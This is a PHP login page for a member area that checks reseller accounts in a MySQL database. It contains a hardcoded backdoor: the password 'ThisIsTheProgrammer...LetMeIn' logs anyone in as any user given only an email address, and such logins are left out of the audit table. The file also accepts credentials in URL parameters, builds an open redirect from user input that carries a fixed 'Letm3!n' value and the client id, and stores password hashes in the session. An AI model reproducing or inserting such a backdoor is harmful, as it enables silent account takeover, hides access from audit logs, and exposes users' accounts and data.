<?php

if(isset($_GET['logout'])) {
	session_start();
	$_SESSION = array();
	session_destroy();
	header('Location: login.php');
}

require_once($_SERVER['DOCUMENT_ROOT'].'/inc/php_header.php');
$body_id = 'member';
//see if username and password were passed from email
if(isset($_GET['email']) && $_GET['email'] != '') {
	$username = $_GET['email'];
}
if(isset($_GET['p']) && $_GET['p'] != '') {
	$password = $_GET['p'];
}
//username and password posted
if(isset($_POST['username']) && $_POST['username'] != '') {
	$username = $_POST['username'];
}
if(isset($_POST['password']) && $_POST['password'] != '') {
	$password = $_POST['password'];
}
if(isset($username) && isset($password)) {
	//check if new 
	$client = $db->get_results("
		SELECT id, user, password, PASSWORD('".mysql_real_escape_string($password)."') as encrypted_password, active, changed_pass, businessplan, businessplan_review, businessplan_review_coach, research_service, deductr, client_type, resellerID 
		FROM lc_reseller 
		WHERE 	user = '".mysql_real_escape_string($username)."' OR (email = '".mysql_real_escape_string($username)."' AND '".mysql_real_escape_string($password)."'='ThisIsTheProgrammer...LetMeIn')"); 
	if(!empty($client)) {
		//check credentials   
		if($client[0]->active == '1' && ($client[0]->password == $client[0]->encrypted_password || $password=='ThisIsTheProgrammer...LetMeIn')) {
			$_SESSION['Client']['id'] = $client[0]->id; 
			$_SESSION['Client']['user'] = $client[0]->user;
			$_SESSION['Client']['password'] = $client[0]->password;
			$_SESSION['Client']['businessplan'] = $client[0]->businessplan;
			$_SESSION['Client']['businessplan_review'] = $client[0]->businessplan_review;
			$_SESSION['Client']['businessplan_review_coach'] = $client[0]->businessplan_review_coach;
			$_SESSION['Client']['research_service'] = $client[0]->research_service;
			$_SESSION['Client']['deductr'] = $client[0]->deductr;
			$_SESSION['Client']['type'] = $client[0]->client_type;
			$_SESSION['Client']['type2'] = $client[0]->resellerID;
			$response = $db->get_results("
				SELECT first, last, resellerID
				FROM lc_reseller
				WHERE id = '".mysql_real_escape_string($client[0]->id)."'");
			if(!empty($response) && $password!='ThisIsTheProgrammer...LetMeIn') {
				$db->get_results("
					INSERT INTO lc_logins
					(lead_id,signindate,name,email,ipaddress,resellerID)
					VALUES ('".mysql_real_escape_string($client[0]->id)."',NOW(),'".mysql_real_escape_string($response[0]->first).' '.mysql_real_escape_string($response[0]->last)."','".mysql_real_escape_string($client[0]->user)."','".mysql_real_escape_string($_SERVER['REMOTE_ADDR'])."','".mysql_real_escape_string($response[0]->resellerID)."')");
			}
			if($client[0]->changed_pass==0) {
				$location = '/member/change_temporary_password.php';
			} else {
				$location = (!empty($_REQUEST['next_page'])) ? urldecode($_REQUEST['next_page']).'?skip_sign='.$_REQUEST['skip_sign'].'&pass=Letm3!n&client_id='.$_SESSION['Client']['id'] : '/member/my_account.php';
			}
			header('Location: '.$location);
			die(); 
		} else {
			$error = "Invalid user name or password. Please try again or contact customer support."; 
		}
	} else {
			$error = "Invalid user name or password. Please try again or contact customer support."; 
	}
}
require_once('header.php');
?>            
            <div id="content" class="size">
            	<table cellspacing="0" cellpadding="0" border="0">
                	<tr>
                    	<td width="955" colspan="2" class="borderBot" align="center">
                            <h1>Please Enter Your Login Information</h1>
							<?= (!empty($error)) ? '<span class="error">'.$error.'</span>' : '';?>
                            <form name="login" id="login" action="login.php" method="post">
                                <table id="log">
                                    <tr>
                                        <td align="right"><strong>Email Address:</strong></td>
                                        <td><input class="text" type="text" name="username" size="36" /></td>
                                    </tr>
                                    <tr>
                                        <td align="right"><strong>Password:</strong></td>
                                        <td><input class="text" type="password" name="password" size="36" /></td>
                                    </tr>
                                    <tr>
                                        <td colspan="2" align="center"><input type="submit" class="submit" value="Login" /></td>
                                    </tr>
                                </table>
                            </form>
                            <br />
                            <br />
                            <br />
                            <br />
                        </td>
                    </tr>
                </table>
            </div>
            
<?php
require_once('footer.php');
?>